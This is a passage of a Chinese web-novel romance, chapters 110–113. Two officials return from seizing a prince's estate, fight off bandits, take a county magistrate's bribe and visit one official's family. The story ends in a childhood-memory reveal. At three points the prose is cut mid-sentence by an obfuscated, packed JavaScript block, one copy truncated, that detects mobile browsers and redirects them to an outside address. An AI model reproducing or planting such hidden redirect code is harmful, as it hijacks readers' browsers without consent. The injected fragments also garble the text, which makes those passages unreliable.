不远处,白日铎早将口袋塞得鼓鼓囊囊,凑到肖泽耳边,嘀嘀咕咕:“你看谢大人,夸咱们头儿的时候,眼睛都不眨一下。头儿也是,半点不害臊,照单全收。” 肖泽脸色一沉,伸手飞快捏住他的嘴,压低声音道:“你这张嘴,再胡说八道,等会儿头儿收拾你,我想护都护不住。” 金银财宝都堵不上你的嘴! 白日铎呜呜两声,不敢再乱说话。 “燕大人。” 不多时,官兵又带了两名身着粗布衣裙的丫鬟上前。 “这二人自称是前夫人的贴身侍女。” 两名丫鬟双腿一软,“噗通”一声跪在燕修延面前。 其中一人怀中紧紧抱着一只陈旧木盒,声音哽咽:“大人,我家小姐的嫁妆,便只剩这些了,求您手下留情,莫要收走……” “起来说话。” 燕修延伸手接过木盒,打开一看,里面只有几件老旧首饰,样式普通,早已失去光泽,一看便知是寻常女子陪嫁。 “你家小姐,可是贺大人之女?” 丫鬟垂泪点头:“是。” 燕修延细细翻看一遍,又轻轻敲击盒身,确认没有夹层暗格,才将木盒递还回去:“拿回去吧。此事我不追究,稍后还可以将你们一并带回京城。” “多谢大人!多谢大人!” 两名丫鬟喜极而泣,刚站起身,又再度重重跪下,抱着木盒哭得浑身发抖,泪水沾湿衣襟。 燕修延望着她们,轻轻摇了摇头,低声轻叹:“嫁人于女子而言,当真是一场豪赌。” 赌赢者,寥寥无几;输者,却各有各的苦楚。 晋王府内,金银珠宝堆积如山,这还只是能运走的部分。 燕修延伸手抚过卧房里的立柱,木纹细密厚重,转头看向谢伟恒:“这是金丝楠木吧?” 谢伟恒颔首:“是。你手边这张,是紫檀木雕花椅。” “紫檀木的?” 大虞本就不盛产此等名贵木料。 燕修延原本不是很在意里面的家具。 他伸手细细摩挲椅面雕花,眼中精光闪闪:“这椅子也定然值钱得很,要不直接扛走?” 别说椅子,就连这金丝楠木柱子,他都想一并拆了运回去。 这可都是实打实的银子,拿去献给陛下,能换不少好处。 谢伟恒见他一副恨不得连地皮都刮走的模样,无奈轻笑,低声提议:“这些大件器物搬运不易,又占地方,不如回京之后,据实禀明陛下,交由陛下决断。” “行。” 燕修延爽快拍手,深吸一口气,一脸满足,“这间屋子里,全是金子的味道。” 查抄晋王府,前后花了四天;清点账目、装箱押运,又耗去三日。 燕修延摸着下巴,一本正经总结:“这就叫,不三不四。” 返程之时,燕修延与谢伟恒弃船骑马,走官道先行前往江南,算起来,比满载宝物的船队要快上两日。 行至中途,河边草长水美,便停下让马匹饮水吃草。 燕修延往草地上一坐,毫不讲究,拿起水囊仰头灌了两口,叹道:“晋王这么有钱,日子过得安逸舒坦,偏偏要造反,实在是想不开。” 谢伟恒从行囊中取出干粮,递到他面前:“权势最是动人心。每个人想要的不同,只是有些人,能力配不上他的野心。” 燕修延咬了口干粮,补充一句:“也配不上他的财力,白瞎了那么多银子——不过也不算白瞎,好歹叫我捞了不少。” 此次抄来的巨额钱财,正好可解朝廷燃眉之急。 虞睿祥本就有征兵扩军之意,这笔银子用来扩充兵力、加固装备绰绰有余,还能给工部多拨款项,研制更厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646268|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的军械。 唯一缺憾,便是大虞骑兵薄弱,战马远不如北蛮那般强壮剽悍。 谢伟恒自然也清楚这一点,缓缓开口:“我曾托经商的叔叔,替我寻访良马。他自西域带回两公两母四匹好马,养在私人马场。” 燕修延眼睛骤然一亮,差点□□粮噎住:“下小马驹了?” “对。” 谢伟恒轻轻颔首,目光温柔:“自然。将来你若上战场,坐骑,必得是宝马良驹。” 燕修延心头一暖,伸手拍了拍谢伟恒的手背,笑得不正经:“有妻贤惠如此,实乃为夫之幸。” 谢伟恒眸底泛起浅浅笑意,微微靠近,声音低沉撩人:“那,夫君……” “打劫——!” 一声粗野狂吼骤然打断二人,如洪钟般炸响在河边。 燕修延清晰看见,谢伟恒眼底那点温柔笑意瞬间褪去,掠过一丝极冷的戾气。 他伸手轻轻按住谢伟恒的手臂,低声安抚:“乖,不气。有人主动送钱上门,咱们客气什么。” 河岸对面,冲过来十几个髯须大汉,个个手持大刀,眼神贼溜溜地往他们马背上的行囊瞟。 燕修延嗤笑一声,语气散漫:“看你们这样子,怕是第一次打劫吧?半点眼力见都没有。” 旁人打劫都挑软柿子捏,他们倒好,直接往铁板上撞。 燕修延慢悠悠盖好水囊,站起身时,腰间玉佩不经意间露出来,玉质通透。 为首那大汉一眼瞥见,眼睛顿时亮了,稍微懂点行的都看得出来这玉佩成色极好。 他指着河对面的山道,厉声喝道,“我乃虎头山虎头寨寨主赵四!你们两个识相点,把身上值钱的东西统统交出来,本寨主还能饶你们一条小命!” 燕修延看了眼赵四指的方向。 一座小山丘。 “寨主。” 赵四左身旁一个瘦高汉子,目光却黏在谢伟恒身上,眼神下流不堪:“大哥,这个白面书生长得不错,我想把他带回山去,睡起来定然舒服得很。” 赵四不耐烦地骂道:“你都抢回去几个男人了?这种肩不能扛、手不能提的,带回去也是浪费粮食!” 燕修延原本散漫的眼神,在这一刻骤然变得锐利如刀。 他缓缓抬眼,声音不高,却带着刺骨寒意:“你刚才说,你想睡谁?” 那叫王五的瘦高汉子上下打量燕修延,恍然大悟,笑得更加猥琐:“哦——原来你们两个是这种关系啊!大哥,把他也一起带回去,让他亲眼看着,我怎么睡他这个小白脸相好——” “呃啊啊啊——!” 惨叫声戛然而止。 没有人看清究竟发生了什么。 只一瞬,王五便捂着自己被削掉的一只耳朵,在地上疯狂翻滚惨叫,鲜血顺着指缝汹涌涌出,染红了脚下青草。 空气瞬间死寂。 方才还嚣张跋扈的劫匪们,一个个僵在原地,脸上的凶蛮尽数化为惊恐。 燕修延指尖还沾着一点未干的血珠,他缓缓收回手,眼神冷得像冰。 谁也不能,用那样肮脏的话,说谢伟恒。 111. 你醋酸味好重 燕修延慢条斯理拍去衣摆上的草屑,神情散漫得仿佛刚才那声惨叫不过是风吹落叶。 他一步一步慢悠悠往前走,目光落在王五身上,又轻飘飘问了一遍。 “你刚才说……你想睡谁?” 赵四慌忙挡在惨叫打滚的王五身前,喉结狠狠滚了一下,强装镇定拱手:“这位兄弟不知您是哪条道上的,我小弟口无遮拦、出言不逊,是我们不懂事,还请您高抬贵手,原谅则个。” 燕修延走到赵四面前,微微抬眼,眸色浅淡,语气却冷得像冰:“滚。” “老大!咱们手里有刀,人又多,怕他做什么!” 旁边一个壮汉被血气冲昏了头,举着大刀就朝燕修延当头劈下,吼声震得林间鸟雀乱飞:“咱们人多势众,还治不了这两个——啊!” 谁也没看清燕修延是怎么动的。 只听“咔”一声轻响,燕修延指尖在他手腕经脉处轻轻一弹,那壮汉便如遭雷击,五指剧痛失控,大刀瞬间脱手。 燕修延反手稳稳接住刀身,顺势抬腿,一脚正中他胸口。 那汉子身形高大魁梧,竟被这一脚直接踹得腾空飞起,像一袋破米般砸在几米外的树干上,软软滑落地,连哼都没哼一声便昏死过去。 赵四脸色瞬间惨白,心知今日是踢到了铁板上,还是淬了毒的那种。他 他连忙拱手,声音都在发颤:“好汉!是小的们有眼不识泰山,冲撞了贵人,求您大人有大量——” “没有。” 燕修延指尖转着长刀,刀尖微微一抬,示意他让开,语气平淡却带着不容置疑的狠厉:“我这人向来小气,最记仇。你现在滚开,还能留一条命。再废话——” 他尾音拖得极轻,却让赵四浑身汗毛倒竖。 那眼神里的寒意,不是江湖人的狠,是见惯生死、掌人生死的冷。 赵四被吓得接连后退几步,慌不择路地转头看向一旁沉默而立的谢伟恒,想要求个情。 可谢伟恒自始至终,目光都只落在燕修延一人身上。 眼底没有半分对血腥的避讳,只有一片炙热得近乎疯狂的光芒。 王五满地惨叫、鲜血淋漓的模样,他连一眼都未曾分给。 他眼里,自始至终,只有一个燕修延。 燕修延抬脚,轻轻踩住还在地上翻滚哀嚎的王五,靴底微微用力。 对方痛得浑身抽搐,气息奄奄。 燕修延垂眸,声音轻得像鬼魅:“再说一遍,你想睡谁?” 王五吓得浑身发软,一股腥臊之气瞬间弥漫开来,竟是直接被吓尿了。 他牙齿打颤,语无伦次:“不、不敢了……谁也不想睡……小的刚才嘴贱,求大人饶命……” 燕修延翻转刀面,清冷的刀光映出他眉眼的轮廓,淡淡问道:“上山之后,抢了几个人?” 王五哆嗦着,没被削掉的耳朵动了动:“两、两个……” 燕修延手腕微沉,刀光一闪。 王五魂飞魄散,连忙改口:“我记错了!是六个!六个!” “杀过人没有?” 赵四在一旁慌忙插嘴:“好汉!我们真没杀过人!只是劫财,从未害命!” 燕修延耳不闻,眼不眨,仿佛没听见一般,目光只锁着脚下的王五。 王五不敢再瞒,声音抖得不成调:“杀、杀过……那人不肯听话,不肯从我,我一时气急,就……啊啊啊——!” 又是一声凄厉惨叫炸开。 赵四浑身一震,吓得手中钢刀“哐当”落地。 燕修延刀腕轻挑,将地上那只被削落的耳朵挑起,精准插在王五两腿之间的泥土里,刀尖微微没入土中。 他偏头,对着王五露出一个极浅、极歉意的笑,语气无辜得很:“不好意思,这刀不太听话,它自己要掉下去的。” 那笑容落在赵四眼里,比恶鬼还要吓人。 燕修延一眼扫到赵四腰间系着的粗绳,淡淡吩咐:“把你那几个同伙,全都反绑起来。” 赵四哪里敢违抗,手脚发软地拿起绳子,乖乖照做。 捆第一个人时,他还心存侥幸,想偷偷松一松绳结,可眼角一瞥见燕修延脸上那似笑非笑的神情,当即吓得手一抖,赶紧把绳结勒得死紧。 轮到王五时,人早已经痛昏过去。 赵四迟疑地看向燕修延:“他……” 燕修延淡淡一瞥。 赵四立刻心领神会,二话不说,把昏死的王五也捆得结结实实。 最后,燕修延亲自上前,抬手一绕一收,将赵四本人也牢牢捆住,绳结利落干脆。 他走到河边,就着清澈河水洗净手上沾到的淡淡血点,甩了甩手上的水珠,回头看向谢伟恒,语气恢复了平日的轻松:“休息好了吗?” 谢伟恒唇角微扬,眼底一片温柔:“好了。” 两人翻身上马,刚要启程,燕修延忽然想起一事,低头看向地上那伙山贼:“你们身上带钱了吗?” 赵四哭丧着脸,赔笑道:“好汉,我们正是因为穷得揭不开锅,才下山打劫的……” “啧。” 燕修延失望地咂了一声,夹了夹马腹,对那几个被绑的山贼扬了扬下巴,“都跟上。” 一行人浩浩荡荡,直奔最近的柯缨县城。 到了县衙,燕修延抬手直接拍响大门。 门子开门,一见这阵仗,吓得魂都飞了。 燕修延懒得废话,直接亮出腰牌,冷声道:“劳烦通传一声,京城监察司正使燕修延,有事见你家县令。” 一听是京城来的大人,县令连官服都来不及仔细整理,慌慌张张亲自迎出来,躬身行礼,态度恭敬至极。 赵四等人这才如梦初醒,脸瞬间绿了。 他们打劫谁不好,居然打劫到京官头上,还是听着名头就吓人的监察司。 燕修延侧身一指赵四,语气平淡:“此人自称虎头山虎头寨寨主赵四,啸聚山林,劫掠路人,本官顺手替贵县拿下了。” 赵四这群土贼没听过监察司有多可怕,县令却是一清二楚。 他连忙正了正官帽,对燕修延深深一揖:“有劳正使大人亲自动手。这虎头寨都是外地流民聚集而成,朝廷此前多次派人围剿,都未能根除……” 燕修延嗤笑一声,半句不信。 赵四这群人见到县丞、衙役,半点敬畏都没有,眼神躲闪,神色熟稔,指不定背地里早有勾结。 这种官匪沆瀣一气的把戏,他早见多了。 燕修延看了一眼天色,淡淡开口:“这些人就交给你处置。对了,他们寨中还有被劫掠的百姓,其中不乏读书人。待我回京,自会将此事原原本本,奏明陛下。” 县令脸色骤变,连忙上前一步,压低声音,从袖中飞快摸出一个沉甸甸的荷包,不动声色塞进燕修延手里:“大人……此事下官定会派人全力围剿,救出被劫之人。求大人在陛下面前……多美言几句。” 燕修延指尖一掂,荷包分量十足,缝隙间还露出淡淡的金色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646269|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一袋实打实的金子。 他唇角微勾,似笑非笑:“这年头,一个县令的俸禄,都这么丰厚了?” 县令脸上赔着笑,心里却在打鼓。 燕修延坦然收下荷包,轻飘飘抛出一句,吓得县令腿都软了:“放心,本官定会将县令大人这份‘孝敬’,原样呈给陛下。” 才怪。 到了他手里的钱,想让他吐出去,门都没有。 县令脸色一阵青一阵白,额头上冷汗涔涔,连忙打圆场:“大人,天色已晚,一路辛苦,不如在敝县歇息一晚,容下官尽一尽地主之谊?” 先把人稳住,再想办法周旋。 谢伟恒在旁淡淡开口,语气清冷,一针见血:“我若是你,此刻只会想着如何戴罪立功,将功抵过。” 燕修延侧头看他,笑得眉眼弯弯:“这个假设不成立,谢大人这般人物,怎么可能变成这样的人。” 谢伟恒回望他,眼底温柔得能溺出人来:“燕大人高看我了。” 两人不再多言,策马转身,径直离去。 县令站在原地,望着两人背影,脑中轰然一响。 谢大人…… 谢伟恒?! 那是如今朝堂上炙手可热、深得陛下信任的中书令! 京城两大实权人物,怎么会偏偏从他这小小柯缨县路过? 县令已经没心思想那么多了,转头狠狠剜了赵四一眼,厉声吩咐衙役:“还愣着干什么!把人都带进去!关门!” 幸亏那两位大人没兴趣去虎头寨…… 这虎头寨,不能留了。 还得赶紧找几个替罪羊,把自己摘干净。 县令冷着脸,看向瑟瑟发抖的赵四:“说,把你们从上山到今日,所有事情,一五一十,全都给本官说清楚!” “这县令,贿赂人的样子倒是熟练得很。” 路上,燕修延从荷包里掂出一锭金灿灿的元宝,在指尖转了一圈,啧啧称奇。 谢伟恒淡淡道:“这个县令,有问题。” 燕修延也看出来了。 他们执意立刻离开,县令那紧绷的姿态明显松了一大截。 “柯缨县归江南府管,江南府太守是陛下的人,让他来查最合适。” 天色渐暗,暮色四合。 两人寻了一间干净客栈落脚。 房间的窗正对着河面。 入夜之后,河面上漂过几艘画舫花船,丝竹琴声缥缈而来,温柔缠绵,伴着晚风,缠缠绵绵飘进窗内。 燕修延斜倚在窗边软榻上,半眯着眼,享受着夜晚的凉风,一身戾气早散得干干净净,又变回了那个慵懒散漫的模样。 “真舒服啊……” 他忽然察觉到靠近的气息,睁开眼,看向谢伟恒,“怎么了?” 谢伟恒一言不发,伸手轻轻关上窗户,隔绝了外面的琴声与灯火。 他俯身,双手撑在软榻两侧,将燕修延整个人圈在自己怀里。 “哥哥……” 谢伟恒低低轻叹一声,俯身,轻轻吻住燕修延的唇。 “吃完饭忘了漱口吧,醋酸味有点重。” 燕修延舔了舔唇角,伸手扯了扯谢伟恒的嘴角,好奇追问:“我早就想问了,你今天怎么怪怪的,话比平时少多了。” “我今天……特别特别高兴。” 谢伟恒挪了挪身子,挨着燕修延在软榻上坐下,然后伸手,紧紧、紧紧地揽住他的腰,声音又轻又软,带着压抑不住的欢喜。 112. 搞得人真不好意思 燕修延有些莫名。他抬起手轻轻拍了拍谢伟恒的后背,动作温柔又带着一丝不易察觉的笨拙。 今天刚被人打劫还这般高兴? 他语气怪异:“难不成,你喜欢被打劫的感觉?” 果真是读书人的心思,弯弯绕绕的,实在奇怪,他这般习武之人,终究是摸不透。 谢伟恒微微倾身,温热的唇瓣轻轻贴在燕修延微凉的颈侧,握住他的手,引着那只骨节分明的手,覆在自己剧烈跳动的胸口,掌心的温度透过衣料传来,清晰传递着心底的滚烫情意。 “我从不会喜欢被打劫的滋味,我喜欢的,是被哥哥重视的感觉。” 他的声音低沉又温柔,字字句句都裹着满心的欢喜,“白日里,你护着我的样子,那般紧张我的模样,真的很迷人。” “咳。” 燕修延摸了摸自己发烫的鼻尖,避开他灼热的目光:“我就是不高兴,他用那么下流的眼神看你、肖想你,看着就让人窝火。” “正因哥哥如此,我心中才这般欢喜。” 谢伟恒缓缓抬起头,眼底盛满了温柔的星光,他抬手轻轻抚上燕修延的发冠,指尖细细摩挲着精致的玉簪,动作轻柔得仿佛在对待稀世珍宝,随即微微用力,缓缓散去了他束发的冠冕。 乌黑的长发如瀑布般散落下来,垂在肩头,平添了几分慵懒柔和。 谢伟恒望着他眉眼柔和的模样,再也按捺不住心底的情意,微微俯身,温柔地吻上了燕修延的唇瓣。 燕修延心头一阵发软,他抬起手攀住谢伟恒的肩头,闭上双眼,轻轻回应着这个温柔的吻。 窗外,不知从何处飘来似有若无的琴声,曲调缠绵悱恻,悠悠扬扬。 房间里的温度渐渐升高,空气里弥漫着暧昧的气息。 榻上散落着变褶皱衣衫。 “哥哥,你方才应该推开我的。” 谢伟恒垂首望着燕修延,面色带着几分隐忍的克制,声音微哑:“明日我们还要赶路。” 燕修延满不在乎,眉眼间带着几分随性的恣意,轻笑一声道:“大不了明日咱们买辆马车代步,反正此次县令给的钱足够多。” 他用胳膊轻轻撑起上半身,抬手挑起谢伟恒的下巴,眼底带着几分轻佻的笑意,语气带着几分调侃,“若是谢大人觉得累了,换我来代劳也可。” 谢伟恒的**突然cha在燕修延的**。 燕修延meng的** (读者们继续自己想一下吧,我尽力了,一大片缩减到现在的两天——求过审!!!) “草!” 这狗东西半点招呼都不打一声。 念及第二日还要赶路,谢伟恒终究只do一次便作罢。 “剩下的欠着,日后再补。” 燕修延抬手轻轻一巴掌呼在谢伟恒的脑袋上:“没见过这种事还能欠着的,在京城你哪次不是从月升……到月落的?何曾有过这般克制的时候?!” 谢伟恒耷拉着眉眼,模样像极了一只被训斥的大狗,可怜巴巴地看着他:“哥哥凶我。” 燕修延看着他这副装可怜的模样,气得龇了龇牙,露出两颗尖尖的虎牙:“你若是再这般,我还咬你,你信不信?” 他一把拉起被子,蒙住自己的脑袋:“赶紧睡觉,把蜡烛吹了,别熬着了。” 装可怜没人看,谢伟恒起身轻轻吹灭桌案上的蜡烛,屋内瞬间陷入一片柔软的黑暗。 他掀开被子的一角,轻轻躺下,伸手稳稳地搂住身侧的人,将人紧紧护在怀里,鼻尖萦绕着燕修延身上淡淡的清冽气息,安心又温暖。 一夜无梦,相拥而眠,满室皆是安稳。 第二日,燕修延觉得骑马赶路并无大碍,可谢伟恒却执意不肯,去集市挑了一辆宽敞舒适的马车,车内铺着厚厚的软毯。 燕修延上了马车,便慵懒地躺在软毯上,惬意地眯起眼睛:“钱果然是个好东西啊。” 马车的速度比骑马稍慢一些,加上途中偶尔停下休整,耽搁了些许时辰。 两人抵达谢家老宅时。 肖泽和白天铎早已先行抵达,他们乘坐的船只暂时停靠在码头,拿着谢伟恒写好的书信,一路寻到了谢府。 正站在门外等候,远远便瞧见了缓缓驶来的马车。 白天铎伸头看见马车内饰的精致柔软,眼睛一亮,张口便想打趣几句,就被肖泽眼疾手快地一把拽到一旁。 “你拉我做什么?我还没说话呢!” 白天铎挣了挣,满脸不满地看向肖泽,语气里带着几分怨气。 肖泽太了解他这张嘴不把门的性子,压低声音道:“等你把话说出口,就迟了。” “等一下。” 燕修延忽然开口,伸手摘下腰间的腰牌,随手扔给肖泽,语气带着几分吩咐,“你们二人跑一趟太守府,替我传个话,告知太守我有事相商,让他定个合适的时间,咱们再碰面详谈。” 肖泽稳稳接住腰牌,直接扛起还想嘟囔的白天铎,快步朝着太守府的方向走去。 上次随谢伟恒来此,行程匆忙,未曾细细留意谢府的大门。 此刻再次凝望,燕修延脑海里忽然有什么东西一闪而过。 “少爷回来了!少爷可算回来了!” 守门的小厮打开门,一眼便看见站在门外的谢伟恒,脸上瞬间绽开欣喜的笑容,一边高声喊着,一边欢天喜地地跑着往府内通传。 这一嗓子清亮又响亮,瞬间打散了燕修延脑海里那丝转瞬即逝的熟悉感,让他没能抓住那份莫名的悸动。 谢伟恒轻轻牵起燕修延的手,掌心的温度温暖有力,给了他几分安心,牵着他缓缓朝着前厅走去。 燕修延面上努力维持着波澜不惊的淡定模样,可心底早已翻江倒海,恨不得立刻拔腿就跑。 怎么会有这么多人!上次来明明没几个人在府中啊! 他知晓谢家是世家大族,族人众多,可也没想到竟有这么多人都聚在家中! 就跟提前等着似的——自己应该没那么大的脸面,能让谢家所有人都提前等候,估计是凑巧。 一位白发苍苍的老人,脸上布满了岁月雕琢的深深皱纹,眼神却和蔼慈祥,满是暖意,他冲着燕修延轻轻招了招手,语气温和又亲切:“好孩子,一路舟车劳顿,辛苦你了。” 燕修延下意识看向身旁的谢伟恒,眼中带着几分求助。 谢伟恒笑着朝他轻轻点头,示意他安心。 燕修延这才定了定神,缓步走到老人面前,微微躬身,语气恭敬又得体:“不辛苦,只是路过此地,前来叨扰一日,还望多多包涵。” 说实话,他心里其实巴不得现在就转身离开。 “哎,何来叨扰一说,你和恒儿情投意合,咱们都是一家人,不必说这般见外的话。” 老人笑着拉过燕修延的手,轻轻拍了拍他的手背,满眼都是喜爱,“好孩子,你可以唤我一声爷爷。” 燕修延心里微微一紧,硬着头皮,恭恭敬敬地唤了一声:“爷爷好。” 话音刚落,他的手心便被塞进一枚温润通透的玉麒麟,玉质细腻,触手生温,雕刻得栩栩如生,透着祥瑞之气。 谢老爷子看着他,语气满是期许:“上次你二人来的匆忙,爷爷没来得及给你准备见面礼,这麒麟乃是祥瑞之兽,寓意长寿与太平,爷爷愿你往后岁岁欢喜,平安祥和,一生顺遂无忧。” 燕修延又转头看了一眼谢伟恒,才小心翼翼的收下玉麒麟,真心实意地道谢:“多谢爷爷厚爱。” 谢老爷子看着他乖巧的模样,笑得愈发开怀,连连说了三个好字:“好好好,爷爷只愿你和恒儿往后相互扶持,彼此珍惜,长长久久地走下去,一生安稳幸福。” 燕修延脸上挂着礼貌的笑意,可嘴角早已笑到僵硬。 谢老爷子见状,松开他的手,招呼他在身旁坐下。 谢允烽起身,一一为他介绍谢家在座的各位族人。 一圈介绍下来,燕修延只能机械地点头、微笑、依次喊人。 其实真正能记住的人,却没几个。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646270|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >手中的礼物,却源源不断地递过来,玉佩、绸缎、精致的摆件……各式各样的礼物堆在身侧。 收礼收到手软的感觉,燕修延还是头一次体会,就连当初他和谢伟恒成亲之时,收的礼物都没有今日这般多。 谢伟恒一直坐在他身旁,紧紧握着他的手,察觉到他的局促与疲惫,轻轻捏了捏他的掌心,压低声音,语气温柔:“累了吗?” 燕修延轻轻揉了揉自己笑到僵硬的脸颊,满脸无奈地小声回应:“身子倒不累,就是脸笑的太累了,都快僵住了。” 谢伟恒莞尔一笑,轻声道:“等回了房间,我替你揉一揉,放松一下。” 燕修延眼珠一转,带着几分揶揄,压低声音调侃:“上次来的匆忙,都没好好参观你的闺房。” 谢伟恒眼底闪过一丝笑意,凑近他耳边,声音带着几分暧昧的低哑,轻声回道:“不知燕大人可愿赏光,不止参观闺房,再上一次我的闺床?” 燕修延脸上的笑容瞬间一顿,说不过谢伟恒。 谢家众人看着两个小辈凑在一起,低声说悄悄话的模样,眉眼间皆是笑意,气氛愈发和睦。 谢伟恒的大伯母掩着唇,笑着轻声道:“瞧着这两个孩子,真是登对儿。” “可不嘛,” 谢母满眼慈爱地看着燕修延,语气满是欢喜,“我自打第一眼见到修延,就打心底里喜欢,就爱看他们两个在一起的样子,温馨又和睦。” 谢老爷子捋着下巴上的花白胡须,满意地点头,朗声笑道:“一见修延这孩子,我就觉得亲切,打从心眼里喜欢,性子坚毅,模样又周正,是个好孩子。” 谢家众人你一言我一语,满是夸赞的话语落在燕修延身上。 燕修延下意识摸了摸鼻子,连悄悄话也说不下去了,只能用求助的眼神看向谢伟恒,满脸的不知所措。 他从小到大,从未被这么多人当着面轮番夸赞。 搞的人怪不好意思的,不知道要怎么回。 谢伟恒拉着燕修延缓缓站起身,对着谢老爷子恭敬道:“爷爷,我先带修延回房间歇息片刻,上次回来的匆忙,没能带他在府里好好转一转,这次趁此机会,带他熟悉一下府中的环境。” 谢老爷子摆摆手,满脸通情达理:“好,好,你们去吧,陪我们这一大群老头子老太太说了这么久的话,也确实累了,回去好好歇歇。” 燕修延笑笑,想开口说自己不累,客气一番。 谢伟恒却先一步开口,对着在座的长辈一一行礼:“爷爷、父亲、母亲、大伯母……各位长辈,我们先告退了。” 终于走出热闹喧嚣的前厅,燕修延长长松了一口气,拍了拍自己的胸口,满脸感慨:“你家人也太多了。” 方才离开的时候,谢伟恒光是喊人,就喊了好一会儿。 若是晚上用膳时,还是这么多人围坐在一起,他一定要吃慢一点,做最后一个下桌的人。 不然那么多长辈,他实在是叫不过来,难免会失礼。 “你也别太紧张,平日里府中很是冷清,只有逢年过节,或是家族有大事时,族人才会聚得这么齐全。” 谢伟恒轻轻勾住燕修延的小指,两人并肩走过长长的回廊:“上次是临时决定回来,未曾提前告知家人,这次从京城动身之时,我便早早写信给父亲,说会带你回府小住两日,让他们有个准备。” “原来是这样,我说今日这架势,实在是吓人得很。” 燕修延活动活动有些僵硬的脖子,伸了个大大的懒腰:“方才在前厅坐得太久了,一动不动的,我都快在椅子上生根发芽了。” 他一边说着,一边随意地看着沿途的景色。 穿过一座精巧的假山,看见后面立着一座古朴雅致的小亭子。 燕修延感觉到一股强烈的熟悉感瞬间涌上心头,莫名的熟悉感席卷全身,仿佛自己曾经来过这里,可细细回想,却又记不起半分。 方才刚踏进谢府时,那份隐隐的熟悉感,被谢家人的热情与局促彻底掩盖,被他抛在了脑后。 113. 果然没憋好水! 燕修延的心却越走越沉,一股说不清道不明的熟悉感如潮水般层层涌来,越来越强烈,几乎要将他淹没。 他侧头看向身旁的谢伟恒,语气里带着几分迟疑,轻声开口:“你……有妹妹吗?” 谢伟恒脚步顿了顿,转头看向他,轻轻摇了摇头,语气温润如常:“没有,家中只有我一个独子,燕大人怎么忽然想起来问这个?” 他的目光温柔地落在燕修延脸上,细细打量着他略显困惑的神情,心中已然了然,却依旧不动声色。 燕修延没有立刻回答,他抬眸,目光落在谢伟恒肩头,一片枯黄的落叶不知何时落在了上面,衬得他的衣袍愈发干净。 燕修延缓缓抬起手,指尖轻轻拂过那片落叶,将其捻下,动作自然又亲昵,仿佛早已做过千百遍。 他望着远处错落的屋舍,声音轻得像一阵风,带着回忆的朦胧:“还记得我从前跟你说过小时候遇见过一个小姑娘吗?她家的布局和你家几乎一模一样。” 谢伟恒垂眸,眼底的笑意更深,长睫轻颤,掩去眸中翻涌的情愫,只淡淡笑道:“这般说来,倒是巧了,天下竟有这般相似的宅院。” 他语气平淡,可紧握在身侧的手,却微微收紧,藏着满心的期待与忐忑,等着燕修延一步步揭开真相。 踏进了谢伟恒居住的院子。 一进院门,一股淡淡的桂花香便扑面而来,院中央立着一棵枝繁叶茂的桂花树,树干粗壮,树皮上带着岁月的纹路,想来已是有些年头。 燕修延的目光瞬间被这棵桂花树吸引,脚步不受控制地朝着树走去,心脏砰砰直跳,那份熟悉感在此刻达到了顶峰。 他走到树干前,指尖微微颤抖着,轻轻抚上粗糙的树皮,目光仔细搜寻着,很快,两道浅浅却清晰的刻痕映入眼帘。 【现在我没有哥哥高,但以后一定会长的比哥哥高。】 【你一个姑娘家家的,长那么高做什么?】 【我不管,我要长的比你高,然后骑着高头大马迎娶哥哥!】 燕修延指尖死死贴着那两道刻痕,触感冰凉,却烫得他心头一颤。 他缓缓转过身,眼底满是震惊、茫然,还有一丝不敢置信,直直对上谢伟恒含笑的双眼。 【你以前有经常捣蛋吗? 只跟你干过这种事情。】 【我年幼时,被当女孩养过,对穿裙子倒是不陌生。】 【谢大人这是头一回钻狗洞吧? 不是第一次。 第一次跟谁? 自然是跟你,哥哥这是忘了?】 每一句话,都在印证着一个燕修延从未想过的真相。 燕修延张了张嘴,喉咙干涩得发紧,声音干巴巴的,带着难以置信的颤抖,好不容易才挤出一句话:“我小时候遇到的那个,叫白白的小姑娘……是你啊?” 原来不是白白,是恒恒。 谢伟恒笑着轻轻点头,语气温柔又笃定:“哥哥终于发现了。我生来肤色白皙,小时候身子弱,家中长辈便唤我白白。” 燕修延抬手抓了抓额头。 离谱,梦境居然变成了现实…… 穿粉裙小姑娘竟是眼前的谢伟恒,是与他朝夕相处、情深意笃的人。 那时年纪小,懵懂无知。 可现在长大成人,再细细琢磨,才发觉诸多破绽。 稍微有些头面的世家大族,怎会让自家女儿随意带个小子回府,还毫无顾忌地让他进女儿家的院子玩耍。 “所、所以你从那个时候开始,就……” “我不清楚那个时候,对你是何种情感,只知道跟在你身边,就觉得无比开心。” 谢伟恒没有丝毫隐瞒,坦诚地迎上燕修延的目光:“一开始,或许只是想着快点长高,追上你的脚步,而努力习武。” 